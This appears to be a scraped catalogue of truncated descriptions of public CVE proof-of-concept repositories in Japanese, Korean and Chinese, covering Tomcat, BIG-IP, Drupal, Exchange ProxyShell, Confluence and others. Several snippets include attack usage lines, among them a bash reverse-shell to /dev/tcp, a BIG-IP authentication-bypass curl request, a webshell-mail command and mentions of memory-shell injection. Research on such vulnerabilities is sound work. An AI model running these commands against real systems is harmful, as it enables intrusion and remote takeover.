CVE-2020-9484_Exploit

CVE-2020-9484Exploit Apache Tomcat デシリアライゼーション CVE-2020-9484 のエクスプロイト。RCE に至る可能性があります。 影響を受けるバージョン: Apache Tomcat 10.x exploit.sh exploit.sh your IP your port target IP target port...

CVE-2022-1388

CVE-2022-1388 BIG-IP iControl REST の脆弱性 CVE-2022-1388 使用方法 このPOCは検証済みです！ curl -i -s -k -X $'POST' \ -H $'Host: localhost' -H $'Connection: keep-alive, X-F5-Auth-Token' -H $'Authorization: Basic YWRtaW46' -H $'X-F5-Auth-Token: a' -H $'Content-Length: 39' \ --data-binary...

CVE-2025-32433

CVE-2025-32433 python ErlangSSHRCE.py -t 192.168.100.123 -p 2222 --reverse 192.168.100.98 4444 python ErlangSSHRCE.py -t 192.168.100.123 -p 2222 -c "bash -c 'bash -i & /dev/tcp/192.168.100.98/4444 0&1'"...

CVE-2018-7600-Drupal-RCE

CVE-2018-7600 Drupal RCE クレジット: ファイル| Drupal バージョン| ソース| コメント ---|---|---|--- poc0-curl.sh| 8| https://twitter.com/ibo0om/status/984674893768921089 https://twitter.com/IamSecurity/status/984977193565646848 https://gist.github.com/g0tmi1k/7476eec3f32278adc07039c3e5473708| poc1-a2u.py| 8|...

CVE-2025-55182-POC

CVE-2025-55182 Next.js RCE Scanner CVE-2025-55182 の脆弱性スキャンおよびエクスプロイトツール。Next.js アプリケーションのリモートコード実行脆弱性を対象としています。バッチ検出、コマンド実行、哥斯拉メモリシェル注入、リバースシェル機能をサポートします。 ⚠️ 本ツールはセキュリティ研究および許可されたテスト目的でのみ使用してください。不正使用は禁止です。 特徴 マルチターゲットスキャン ：単一URL、ファイルリスト（1行1URL）、複数の.txtファイルを含むフォルダをサポート。 マルチスレッド並行処理...

CVE-2025-15545

CVE-2025-15545 情報 ベンダー: TP-Link ベンダーのウェブサイト: TP-Link モデル: Archer RE605X ハードウェアバージョン: RE605X v3.0 ファームウェアバージョン: RE605XEUV31.1.5 Build 20240905 ファームウェアダウンロードアドレス: TP-Link 一連の脆弱性（ハードコードされた暗号鍵の使用やXML設定パーサーコンポーネントにおけるコマンドインジェクションを含む）により、ローカルの認証された攻撃者がデバイス上でroot権限でリモートコード実行（RCE）を達成することが可能になります。 PoCの要件 ...

Apache-RocketMQ-CVE-2023-33246-

CVE-2023-33246: Apache RocketMQ 원격 코드 실행 개요 Apache RocketMQ는 가장 인기 있고 널리 사용되는 분산 메시징 및 스트리밍 플랫폼 중 하나입니다. 최근 Apache RocketMQ 버전 5.1.0 이하에서 명령 실행 취약점이 보고되었습니다. 원격의 인증되지 않은 사용자는 업데이트 구성 기능을 이용하여 RocketMQ 사용자 프로세스와 동일한 액세스 수준으로 명령을 실행할 수 있습니다. 주요 구성 요소 네임서버Nameserver: 1. RocketMQ의 네임서버는 전체 메시징 인프라에 대...

CVE-2024-25292

RenderTune RCE CVE-2024-25292 脆弱性の Proof-of-Concept です。 RenderTune v1.1.4 のクロスサイトスクリプティング（XSS）脆弱性により、攻撃者は Upload Title パラメータに仕込んだ巧妙なペイロードを介して、任意の Web スクリプトまたは HTML を実行できます。 このリポジトリには、脆弱なサンプルアプリケーションと、その Proof-of-Concept（POC）エクスプロイトが含まれています。 PoC として、プロセスを自動化する Python ファイルがあります。 1. 脆弱性の概要: XSS を介して...

cve-2024-38063-detection-mitigation-system

CVE 취약점 탐지 및 완화 시스템 저자: Rohit Malik | 도메인: 사이버보안 | 유형: 그룹 학술 프로젝트 | 목적: 포트폴리오 및 교육 개요 이 프로젝트는 통제된 가상 환경에서 실제 세계의 심각한 취약점CVE-2024-38063을 탐지하고 완화하는 데 초점을 맞춘 그룹 기반 사이버보안 구현입니다. 이 작업은 보안 엔지니어가 취약점을 분석하고, 탐지 메커니즘을 설계하며, 즉시 패치를 적용할 수 없거나 실용적이지 않은 경우 계층적 완화 전략을 적용하는 방법을 보여줍니다. 프로젝트 유형 그룹 프로젝트 - 3명 Rohit...

CVE-2023-28432-minio_update_rce

minio-CVE-2023-28432-rce https://github.com/AbelChe/evilminio/tree/main プロジェクト元アドレス 個人用パッケージ保存 影響バージョン 2019-12-17T23-16-33Z から RELEASE.2023-03-20T20-16-18Z まで 再現：https://www.yuque.com/jason-soozc/luhd40/pgabr9xvg0kgx85v?singleDoc 「minlo未承認からRCEへのクラスターモード」 GLOBAL backdoor as...

SC3010-Computer-Security

SC3010-Computer-Security — CVE-2017-5638 Attack Recreation This repository is part of the SC3010 Computer Security course project. It recreates CVE-2017-5638 , a critical Remote Code Execution vulnerability in Apache Struts 2 versions 2.3.5–2.3.31 and 2.5–2.5.10, famously exploited in the 2017...

CVE-2018-1270

CVE-2018-1270 - Spring messaging Spel 코드 실행 취약점 어제 Spring에서 1개의 RCE 취약점을 공개했습니다. 알아보겠습니다: CVE-2018-1270: spring-messaging을 이용한 원격 코드 실행 영향을 받는 버전 Spring Framework 5.0 5.0.4 Spring Framework 4.3 4.3.14 이 취약점은 환경에 대한 요구사항이 없습니다. spring-messaging + websocket + STOMP를 사용하고 있다면 가능한 빨리 최신 버전으로 업그레이드하세요...

CVE-2021-42013

CVE-2021-42013 취약한 서비스 설치 여러 옵션: 1. Docker 컨테이너 docker run -d -p 8080:80 12345qwert123456/apache2450cve-2021-42013 2. Dockerfile git clone https://github.com/12345qwert123456/CVE-2021-42013.git cd CVE-2021-42013-Vulnerable-service/2.4.50 docker build -t apache2450cve-2021-42013 . docker run -d -p...

CVE-2022-21974

CVE-2022-21974: RMSRoamingSecurity 원격 코드 실행에서 초기화되지 않은 포인터 해제 근본 원인 RMSRoamingSecurity!ATL::CComCreator ::CreateInstance 생성자는 CRmsRoamingSecurity 객체0x3470바이트를 할당하고 초기화하지만, 상태를 완전히 초기화하는 데 실패합니다. 예를 들어, 오프셋 0x3458에는 소멸자가 호출될 때 해제되는 초기화되지 않은 포인터가 있습니다CRmsRoamingSecurity::Cleanup에서: 0:000...

CVE-2022-39197-POC

CVE-2022-39197-POC 中国語版READMECN.md 脆弱性の概要 CobaltStrikeが9月20日に正式リリースした最新バージョン4.7.1のアップデートログによると、teamserverバージョン 私たちは「Beichendream」という独立した研究者から、チームサーバーで発見されたXSS脆弱性について連絡を受けました。これにより、攻撃者はBeacon構成に不正なユーザー名を設定し、リモートからコードを実行（RCE）できるようになります。 POCの概要 現時点では、このPOCはteamserverの画像爆弾のみを実装しています。...

CVE-2021-28476

CVE-2021-28476: vmswitch.sys의 게스트-호스트 "Microsoft Hyper-V 원격 코드 실행 취약점" 이것은 CVE-2021-28476 "Hyper-V 원격 코드 실행 취약점"에 대한 개념 증명PoC으로, 2021년 5월 Microsoft가 패치한 vmswitch.sys네트워크 가상화 서비스 제공자의 임의 메모리 읽기 취약점입니다. 이 취약점은 @australeo, @ergot86, @peleghd 및 @OphirHarpaz에 의해 발견되었습니다. 게스트 가상 머신이 VMBus를 통해 악의적인 RNDI...

CVE-2020-14750

CVE-2020-14750 CVE-2020-14750 および cve-2020-14882 の脆弱性向け PoC システムが脆弱かどうかをテストするには、次を使用します: ./test-CVE-2020-14750 nombredelhost:7001 現時点では、このバージョンはホストが脆弱であることのみを保証します。結果が否定的であっても、脆弱でないことを保証するものではありません。今後のバージョンで実装される予定です。 更新: 取得した応答によって、ホストが脆弱であるか、テストが失敗したかを区別できるようになりました。 悪用するには、最初のパラメータとしてホストをポート付きで...

CVE-2025-5548

🛡️ CVE-2025-5548 – FreeFloat FTP Server バッファオーバーフローエクスプロイト 📌 概要 このリポジトリは、 FreeFloat FTP Server アプリケーションにおけるスタックベースのバッファオーバーフロー脆弱性 の発見と悪用を文書化したものです。 この脆弱性は USER コマンドの処理に存在し、安全でないメモリ操作（strcpy）により、攻撃者がスタックを上書きして実行フローを制御できるようになります。 このプロジェクトは、リバースエンジニアリングから任意のコード実行までの完全な悪用ワークフローを示しています。 🎯 脆弱性の詳細...

CVE-2021-34473-Exchange-ProxyShell

python sendwebshellmail.py https://mail16.echod.com [email protected] 単一取得 python sendwebshellmail.py https://mail16.echod.com crack mail.txt からメールを一括で読み取り、SID トークンの取得を試みます python sendwebshellmail.py https://mail16.echod.com [email protected] send webshell の下書きメールのみ送信 python...

CVE-2022-26134

CVE-2022-26134 ATLASSIAN-Confluence RCE 安装 git clone https://github.com/kelemaoya/CVE-2022-26134.git cd CVE-2022-26134 pip3 install -r requirements.txt 使用 单个url pocsuite -r ../CVE-2022-26134.py -u url --verify 批量URL pocsuite -r ../CVE-2022-26134.py -f url.txt --verify 免责声明🧐...